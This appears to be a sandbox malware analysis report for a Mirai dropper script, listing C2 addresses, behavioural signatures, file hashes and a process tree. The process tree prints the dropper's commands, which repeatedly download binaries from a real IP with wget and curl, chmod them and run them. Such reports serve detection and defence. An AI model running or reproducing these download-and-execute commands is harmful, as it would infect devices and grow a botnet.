Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01/09/2026, 09:56

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260901-lyfmrawfre
  • SHA256 f6393dcbcfee887795b9d00f1337dc795bd42a9b9920ea1bb0a297243e9144f7
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

  • a.tmpsrvc.zip

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 36 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:707
    • /usr/bin/wget
      wget http://5.182.210.174/889b7c
      2⤵
      • Writes file to tmp directory
      PID:710
    • /usr/bin/curl
      curl -O http://5.182.210.174/889b7c
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:725
    • /bin/chmod
      chmod 777 889b7c
      2⤵
      • File and Directory Permissions Modification
      PID:734
    • /tmp/889b7c
      ./889b7c bc
      2⤵
        PID:735
      • /bin/rm
        rm -rf 889b7c
        2⤵
          PID:737
        • /bin/rm
          rm -rf 889b7c.1
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://5.182.210.174/bf3aff
            2⤵
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://5.182.210.174/bf3aff
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 bf3aff
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/bf3aff
            ./bf3aff bc
            2⤵
              PID:743
            • /bin/rm
              rm -rf bf3aff
              2⤵
                PID:745
              • /bin/rm
                rm -rf bf3aff.1
                2⤵
                  PID:746
                • /usr/bin/wget
                  wget http://5.182.210.174/0b93a7
                  2⤵
                  • Writes file to tmp directory
                  PID:747
                • /usr/bin/curl
                  curl -O http://5.182.210.174/0b93a7
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:748
                • /bin/chmod
                  chmod 777 0b93a7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:749
                • /tmp/0b93a7
                  ./0b93a7 bc
                  2⤵
                    PID:750
                  • /bin/rm
                    rm -rf 0b93a7
                    2⤵
                      PID:752
                    • /bin/rm
                      rm -rf 0b93a7.1
                      2⤵
                        PID:753
                      • /usr/bin/wget
                        wget http://5.182.210.174/5d3833
                        2⤵
                        • Writes file to tmp directory
                        PID:754
                      • /usr/bin/curl
                        curl -O http://5.182.210.174/5d3833
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:755
                      • /bin/chmod
                        chmod 777 5d3833
                        2⤵
                        • File and Directory Permissions Modification
                        PID:763
                      • /tmp/5d3833
                        ./5d3833 bc
                        2⤵
                          PID:764
                        • /bin/rm
                          rm -rf 5d3833
                          2⤵
                            PID:767
                          • /bin/rm
                            rm -rf 5d3833.1
                            2⤵
                              PID:768
                            • /usr/bin/wget
                              wget http://5.182.210.174/a9c307
                              2⤵
                              • Writes file to tmp directory
                              PID:770
                            • /usr/bin/curl
                              curl -O http://5.182.210.174/a9c307
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:778
                            • /bin/chmod
                              chmod 777 a9c307
                              2⤵
                              • File and Directory Permissions Modification
                              PID:787
                            • /tmp/a9c307
                              ./a9c307 bc
                              2⤵
                                PID:788
                              • /bin/rm
                                rm -rf a9c307
                                2⤵
                                  PID:791
                                • /bin/rm
                                  rm -rf a9c307.1
                                  2⤵
                                    PID:793
                                  • /usr/bin/wget
                                    wget http://5.182.210.174/692be7
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:794
                                  • /usr/bin/curl
                                    curl -O http://5.182.210.174/692be7
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:801
                                  • /bin/chmod
                                    chmod 777 692be7
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:814
                                  • /tmp/692be7
                                    ./692be7 bc
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:815
                                  • /bin/rm
                                    rm -rf 692be7
                                    2⤵
                                      PID:817
                                    • /bin/rm
                                      rm -rf 692be7.1
                                      2⤵
                                        PID:820
                                      • /usr/bin/wget
                                        wget http://5.182.210.174/ecc7a9
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:821
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.174/ecc7a9
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:823
                                      • /bin/chmod
                                        chmod 777 ecc7a9
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:824
                                      • /tmp/ecc7a9
                                        ./ecc7a9 bc
                                        2⤵
                                          PID:825
                                        • /bin/rm
                                          rm -rf ecc7a9
                                          2⤵
                                            PID:827
                                          • /bin/rm
                                            rm -rf ecc7a9.1
                                            2⤵
                                              PID:828
                                            • /usr/bin/wget
                                              wget http://5.182.210.174/3d68e8
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:829
                                            • /usr/bin/curl
                                              curl -O http://5.182.210.174/3d68e8
                                              2⤵
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:830
                                            • /bin/chmod
                                              chmod 777 3d68e8
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:831
                                            • /tmp/3d68e8
                                              ./3d68e8 bc
                                              2⤵
                                                PID:834
                                              • /bin/rm
                                                rm -rf 3d68e8
                                                2⤵
                                                  PID:836
                                                • /bin/rm
                                                  rm -rf 3d68e8.1
                                                  2⤵
                                                    PID:837
                                                  • /usr/bin/wget
                                                    wget http://5.182.210.174/f4534e
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:838
                                                  • /usr/bin/curl
                                                    curl -O http://5.182.210.174/f4534e
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:845
                                                  • /bin/chmod
                                                    chmod 777 f4534e
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:854
                                                  • /tmp/f4534e
                                                    ./f4534e bc
                                                    2⤵
                                                      PID:859
                                                    • /bin/rm
                                                      rm -rf f4534e
                                                      2⤵
                                                        PID:862
                                                      • /bin/rm
                                                        rm -rf f4534e.1
                                                        2⤵
                                                          PID:863
                                                        • /usr/bin/wget
                                                          wget http://5.182.210.174/ab7a6b
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:864
                                                        • /usr/bin/curl
                                                          curl -O http://5.182.210.174/ab7a6b
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:872
                                                        • /bin/chmod
                                                          chmod 777 ab7a6b
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:880
                                                        • /tmp/ab7a6b
                                                          ./ab7a6b bc
                                                          2⤵
                                                            PID:881
                                                          • /bin/rm
                                                            rm -rf ab7a6b
                                                            2⤵
                                                              PID:883
                                                            • /bin/rm
                                                              rm -rf ab7a6b.1
                                                              2⤵
                                                                PID:884
                                                              • /usr/bin/wget
                                                                wget http://5.182.210.174/8ba268
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:885
                                                              • /usr/bin/curl
                                                                curl -O http://5.182.210.174/8ba268
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:886
                                                              • /bin/chmod
                                                                chmod 777 8ba268
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:887
                                                              • /tmp/8ba268
                                                                ./8ba268 bc
                                                                2⤵
                                                                  PID:888
                                                                • /bin/rm
                                                                  rm -rf 8ba268
                                                                  2⤵
                                                                    PID:890
                                                                  • /bin/rm
                                                                    rm -rf 8ba268.1
                                                                    2⤵
                                                                      PID:891
                                                                    • /usr/bin/wget
                                                                      wget http://5.182.210.174/76e030
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:892
                                                                    • /usr/bin/curl
                                                                      curl -O http://5.182.210.174/76e030
                                                                      2⤵
                                                                      • Reads runtime system information
                                                                      • Writes file to tmp directory
                                                                      PID:893
                                                                    • /bin/chmod
                                                                      chmod 777 76e030
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:894
                                                                    • /tmp/76e030
                                                                      ./76e030 bc
                                                                      2⤵
                                                                        PID:895
                                                                      • /bin/rm
                                                                        rm -rf 76e030
                                                                        2⤵
                                                                          PID:897
                                                                        • /bin/rm
                                                                          rm -rf 76e030.1
                                                                          2⤵
                                                                            PID:898

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v16

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              0b93a7

                                                                              • Path /tmp/0b93a7
                                                                              • Size 67KB
                                                                              • SHA256 f99c9f901aaa71655d19744695e1e9e5a8355acc9c06deac3263d6c70ee28c6a
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              3d68e8

                                                                              • Path /tmp/3d68e8
                                                                              • Size 49KB
                                                                              • SHA256 126587d4d19348dffe47be2a6b28099524f64c5fad151ea8ac39f03eecf2b74c
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              5d3833

                                                                              • Path /tmp/5d3833
                                                                              • Size 45KB
                                                                              • SHA256 e5487800c7d76aa70f042a00bf6cdfda4dea3d47b3f9380aa62e0b977e628e90
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              692be7

                                                                              • Path /tmp/692be7
                                                                              • Size 65KB
                                                                              • SHA256 ccede6623541ba6a0fc3229a5918ae28434aa1fb9c399eda21e0fcc768ef99c5
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              76e030

                                                                              • Path /tmp/76e030
                                                                              • Size 61KB
                                                                              • SHA256 dd83556fe3576a7e3981b76a877d2e93775a670051690a32a8d5a2b523737c1b
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              889b7c

                                                                              • Path /tmp/889b7c
                                                                              • Size 49KB
                                                                              • SHA256 ec6e22487afb11f9c43d301ff1c4b6a5d682d6130795e036899f1940cd881cf9
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              8ba268

                                                                              • Path /tmp/8ba268
                                                                              • Size 48KB
                                                                              • SHA256 e9dea5238bd030f4957feddc743e3e83320dc8e30c30f9beed3f1bc378610f30
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              a9c307

                                                                              • Path /tmp/a9c307
                                                                              • Size 44KB
                                                                              • SHA256 0499177053f928c01303c320f1294a9ab3e3e7a2a079f5867aaec76c5b492794
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              ab7a6b

                                                                              • Path /tmp/ab7a6b
                                                                              • Size 120KB
                                                                              • SHA256 6600a34ca16450acd58c268082008e3b401df0f49f66cff84fae62c904f9833f
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              bf3aff

                                                                              • Path /tmp/bf3aff
                                                                              • Size 51KB
                                                                              • SHA256 d7c1e3d1185ccbb37f983fa073cb0a2585c410a6703cdcf90ed152f9c2c30471
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              ecc7a9

                                                                              • Path /tmp/ecc7a9
                                                                              • Size 43KB
                                                                              • SHA256 1a4fef3ab5508f589a60b3d5ac472b5a8be0b55c706a181e899d09fb587116fd
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              f4534e

                                                                              • Path /tmp/f4534e
                                                                              • Size 53KB
                                                                              • SHA256 a8bf3d3c5ce7bfeab333d68cc077b267d39402af1f5266e7da28aae626a9bb4f
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH